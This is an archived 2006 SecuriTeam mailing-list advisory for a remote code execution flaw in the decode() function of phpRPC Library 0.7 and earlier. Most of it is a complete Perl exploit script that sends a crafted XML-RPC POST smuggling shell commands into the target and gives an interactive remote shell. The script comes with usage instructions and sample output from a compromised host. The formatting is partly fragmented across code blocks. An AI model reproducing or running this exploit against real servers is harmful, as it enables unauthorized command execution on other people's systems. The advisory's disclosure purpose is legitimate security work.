

# [EXPL] phpRPC Library XML Exploit

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00007.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxx)>
  - *Date:* 6 Mar 2006 13:10:06 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

phpRPC Library XML Exploit

---

## SUMMARY

" <<http://sourceforge.net/projects/phprpc/>> phpRPC is meant to be an easy to use xmlrpc library. Function syntax, and plugging into most weblogs (xoops, nuke, pn, etc) is greatly simplified with the use of database/rpc-protocol abstraction. It should run on any php server with most databases."

The PHP RPC Library has a vulnerability in the "decode()" function which is caused when XML data is being parsed.

## DETAILS

Exploit:

```
#!/usr/bin/perl
```

```
# phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution
```

```
# Original Advisory :
```

```
http://www.gulftech.org/?node=research&article\_id=00105-02262006
```

```
# Greetz to NT and C0d3r
```

```
#
```

```
#root@host [~]# perl rpc.pl phprpc.sourceforge.net
```

```
/modules/phpRPC/server.php
```

## [EXPL] phpRPC Library XML Exploit

```
#---== IHS IRAN HOMELAND SECURITY ===--
#
#phpRPC <= 0.7 commands execute exploit by LorD (http://www.ihs.ir)
#
#[IRAN HOMELAND SECURITY]$ uname -a;id;pwd
#Linux sc8-pr-web9.sourceforge.net 2.6.10-1.771_FC2smp #1 SMP Mon Mar 28
01:10:51 EST 2005 i686 i686 i386 GNU/Linux
#uid=65534(nfsnobody) gid=65534(nfsnobody) groups=65534(nfsnobody)
#/home/groups/p/ph/phprpc/htdocs/modules/phpRPC
#_end_
#[IRAN HOMELAND SECURITY]$

use IO::Socket;
print "---== IHS IRAN HOMELAND SECURITY ===--\n\n";
print "phpRPC <= 0.7 commands execute exploit by LorD
(http://www.ihs.ir)\n\n";
if ($ARGV[0] && $ARGV[1])
{
$host = $ARGV[0];
$xml = $ARGV[1];
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
PeerPort => "80") || die "connecterror\n";
while (1) {
print '[IRAN HOMELAND SECURITY]$ ';
$cmd = <STDIN>;
chop($cmd);
last if ($cmd eq 'exit');
$xmldata = "<?xml
version='1.0'?><methodCall><methodName>test.method</methodName><params><param><value><base64>"));e
'_begin_\n';echo `".$cmd."`;echo
'_end_\n';exit;</param></params></methodCall>";
print $sock "POST ".$xml." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: text/xml\n";
print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
$good=0;
while ($ans = <$sock>)
{
if ($good == 1) { print "$ans"; }
last if ($ans =~ /^_end_/);
if ($ans =~ /^_begin_/) { $good = 1; }
}
if ($good==0) { print "Exploit Failed\n";exit();}
}
}
else {
print "Usage: perl rpc.pl host path_to_phpRPC\n\n";
print "Example: perl rpc.pl target.com /server.php\n";
exit;
}
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:lord@xxxxxxxxxxxx>> lord.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.